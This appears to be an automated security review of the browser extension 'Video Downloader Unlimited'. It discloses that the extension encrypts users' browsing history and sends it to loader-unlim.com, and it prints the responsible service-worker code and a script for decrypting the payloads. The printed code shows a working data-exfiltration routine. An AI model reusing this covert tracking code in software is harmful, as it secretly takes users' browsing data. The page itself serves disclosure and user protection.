Is Video Downloader Unlimited safe?
Downloads detected video files and HLS streams from webpages to your computer for offline playback.
This extension detects available media files on a webpage and turns its browser icon blue when videos are found. Its popup lists available media files with their format and size, and provides a Download button to save them to your PC. The description notes that it is not a YouTube downloader.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Browsing History Transmitted to loader-unlim.com via AES-GCM Encrypted POST
On every navigation, Video Downloader Unlimited logs the URL, referrer, response metadata, tab-foreground state, and an install UUID, encrypts it (AES-GCM), POSTs to loader-unlim.com every 10s max.
DA captured two; the key decrypts both.
You navigate to any web page.
The extension records the URL, where you came from, HTTP status and content-type, and whether the tab was active, then sends this record to loader-unlim.com.
No interaction beyond navigation is required. The collection runs on every HTTP/HTTPS URL across all sites.
| Field | Value | Why it matters | |
|---|---|---|---|
Page you are visiting | https://www.facebook.com/ | The full URL of the page you navigated to. | |
Page you came from | https://www.google.com/search?q=facebook | The URL of the previous page on that tab, builds a navigation chain. | |
Persistent user UUID | 6a446655-0236-4a72-ba70-51c4af0df3a1 | A UUID generated on first install and stored locally, appearing on every request so the server can link all your visits. | |
HTTP response code | 200 | The HTTP status code of the page response (e.g. 200, 301, 404). | |
Content-Type header | text/html | The MIME type returned by the server, helps classify the resource category. | |
Foreground flag | 0 | Whether the tab was the active one when the navigation occurred. | |
Timestamps | 2026-06-04T21:17:12.680Z | ISO date string and millisecond epoch timestamp of when the record was assembled. |
The POST body carries a single 'data' field whose value is a base64-encoded AES-GCM ciphertext. The first 16 bytes of the decoded buffer are the random IV; the remainder is the ciphertext. A hardcoded key embedded in the extension source decrypts it.
[
{
"targetUrl": "https://www.facebook.com/",
"userId": "6a446655-0236-4a72-ba70-51c4af0df3a1",
"referrerUrl": null,
"statusCode": 200,
"contentType": "text/html",
"foreground": 0,
"fileDate": "2026-06-04T21:17:12.680Z",
"deviceTimestamp": 1749074232680,
"requestType": "GET"
}
]The collection and encryption code in serviceWorker.js:
// Encrypts a JSON string using AES-GCM.
// The key is hardcoded as the UTF-8 string 'tzMx9B4xf183Yv2B'.
// A random 16-byte IV is generated per call and prepended to the ciphertext.
async encryptData(plaintext) {
const encoder = new TextEncoder();
const key = await crypto.subtle.importKey(
'raw',
encoder.encode('tzMx9B4xf183Yv2B'), // hardcoded key
'AES-GCM',
true,
['encrypt']
);
const iv = crypto.getRandomValues(new Uint8Array(16)); // random IV
const ciphertext = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv },
key,
encoder.encode(plaintext)
);
// Prepend IV to ciphertext, then base64-encode the combined buffer.
const combined = new Uint8Array(iv.length + ciphertext.byteLength);
combined.set(iv);
combined.set(new Uint8Array(ciphertext), iv.length);
let binary = '';
for (let i = 0; i < combined.length; i++) binary += String.fromCharCode(combined[i]);
return btoa(binary);
}// Sends the encrypted payload to the remote server.
sendData(payload) {
fetch('https://loader-unlim.com/api/collect.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json;charset=utf-8' },
body: JSON.stringify(payload) // { data: '<base64 AES-GCM blob>' }
});
}- loader-unlim.com
Receives AES-GCM encrypted browsing records via POST to /api/collect.php. Not the extension's Chrome Web Store developer domain.
The extension enforces a minimum 10-second gap between successive POSTs (timestamp guard variable J). Navigations that occur within 10 seconds of the previous send are dropped, not queued.
Decrypts any captured POST body from loader-unlim.com/api/collect.php using the hardcoded AES-GCM key from the extension's source. Pass the base64 'data' field value as the first argument.
#!/usr/bin/env node
// vdu-decrypt-payload.js
// Decrypts POST bodies from loader-unlim.com/api/collect.php sent by
// Video Downloader Unlimited (mkjjckchdfhjbpckippbnipkdnlidbeb).
//
// Usage:
// node vdu-decrypt-payload.js '<base64-data-field-value>'
//
// The 'data' field value comes from the POST body JSON:
// { "data": "<base64 AES-GCM payload>" }
//
// No dependencies — uses Node.js built-in crypto.webcrypto.
const { subtle } = require('crypto').webcrypto;
// Hardcoded AES-GCM key from serviceWorker.js encryptData() at line ~198.
const KEY_STR = 'tzMx9B4xf183Yv2B';
async function decrypt(b64) {
const enc = new TextEncoder();
const key = await subtle.importKey(
'raw',
enc.encode(KEY_STR),
'AES-GCM',
true,
['decrypt']
);
// Decode base64 to Buffer
const buf = Buffer.from(b64, 'base64');
// The extension prepends a 16-byte random IV before the ciphertext.
const iv = buf.slice(0, 16);
const ciphertext = buf.slice(16);
const plaintext = await subtle.decrypt(
{ name: 'AES-GCM', iv },
key,
ciphertext
);
return new TextDecoder().decode(plaintext);
}
const input = process.argv[2];
if (!input) {
console.error('Usage: node vdu-decrypt-payload.js <base64-data-field>');
process.exit(1);
}
decrypt(input)
.then(plain => {
console.log('Decrypted payload:');
console.log(JSON.stringify(JSON.parse(plain), null, 2));
})
.catch(err => {
console.error('Decryption failed:', err.message);
process.exit(1);
});- 1Intercept a POST to loader-unlim.com/api/collect.php via DevTools or a proxy.
- 2Copy the 'data' field.
- 3Run: node vdu-decrypt-payload.js '<data-value>'.
- 4JSON prints targetUrl, userId, referrerUrl, statusCode, foreground.
What it can do
Permissions this extension asks for, as declared in version 1.1.15. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Store data in your browser
storage
Act on the current tab, but only after you click the extension
activeTab
Start, monitor and manage your downloads
downloads
Watch every request your browser makes
webRequest